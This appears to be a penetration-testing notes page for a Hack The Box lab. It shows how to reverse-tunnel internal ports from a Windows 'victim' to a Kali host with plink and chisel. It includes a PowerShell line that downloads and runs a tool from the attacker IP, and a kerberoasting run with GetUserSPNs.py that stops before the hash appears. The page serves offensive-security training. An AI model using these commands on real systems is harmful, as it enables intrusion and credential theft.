# Port Forwarding to access Internal services

{% embed url="<https://0xdf.gitlab.io/2019/06/01/htb-sizzle.html>" %}

Let's say that hypothetically there is a firewall on the machine or a port that is only accesible through local host or whatever. We need to remote portforward a the local port we want to reach to one that we want to open on our kali machine.&#x20;

The tool for the trade could either be plink.exe or chisel.exe

For this demonstration I will be using plink.exe because I am basing this off Tiberius's udemy course.&#x20;

1. Change the /etc/ssh/sshd\_config file to permit root login
2. Type `service ssh restart`
3. Transfer plink.exe
4. Execute on the victim machine as such: .\plink.exe root\@our-ip -R \<the-port-that-we-want-to-open-on-our-machine>:127.0.0.1:\<local port that we want to reach>

For example if by any chance there is a website running we can simply visit it by curling our localhost and the port taht we opened or a sql database.

Hit enter a few times.

**Chisel Port Forward**

I can run exes out of windows\temp… I can’t read in there, so need to track what i upload. I’ll grab the chisel binary from site: <https://github.com/jpillora/chisel/releases>. I’ll start the server on my host, and start a `python` http server so I can get `chisel` to target. Then I’ll run:

```
PS C:\windows\temp> iwr -uri http://10.10.14.4/chisel_windows_amd64.exe -outfile c.exe
PS C:\windows\temp> .\c.exe client 10.10.14.4:8008 R:88:127.0.0.1:88 R:389:localhost:389
```

The server sees:

```
root@kali# /opt/chisel/chisel server -p 8008 --reverse
2019/01/31 15:15:42 server: Reverse tunnelling enabled
2019/01/31 15:15:42 server: Fingerprint dd:1c:ff:0d:c8:c9:c5:3b:6a:06:e0:46:fb:05:e3:92
2019/01/31 15:15:42 server: Listening on 0.0.0.0:8008...
2019/01/31 15:18:55 server: session#1: Client version (1.3.1) differs from server version (0.0.0-src)
2019/01/31 15:18:55 server: proxy#1:R:0.0.0.0:88=>127.0.0.1:88: Listening
2019/01/31 15:18:55 server: proxy#2:R:0.0.0.0:389=>localhost:389: Listening
```

Now kerberoast:

```
root@kali# GetUserSPNs.py -request -dc-ip 127.0.0.1 htb.local/amanda -save -outputfile GetUserSPNs.out

[-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
```

What? I’ll check the times:

```
PS htb\amanda@SIZZLE temp> date

Thursday, January 31, 2019 06:12:24 AM
```

```
root@kali# date
Thu Jan 31 06:20:45 EST 2019
```

For kerberos to work, times have to be within 5 minutes.

```
root@kali# date +%T -s "06:12:24"
06:12:24
root@kali# date
Thu Jan 31 06:12:27 EST 2019 
```

I’ll run again, and get the hash:

```
root@kali# GetUserSPNs.py -request -dc-ip 127.0.0.1 htb.local/amanda
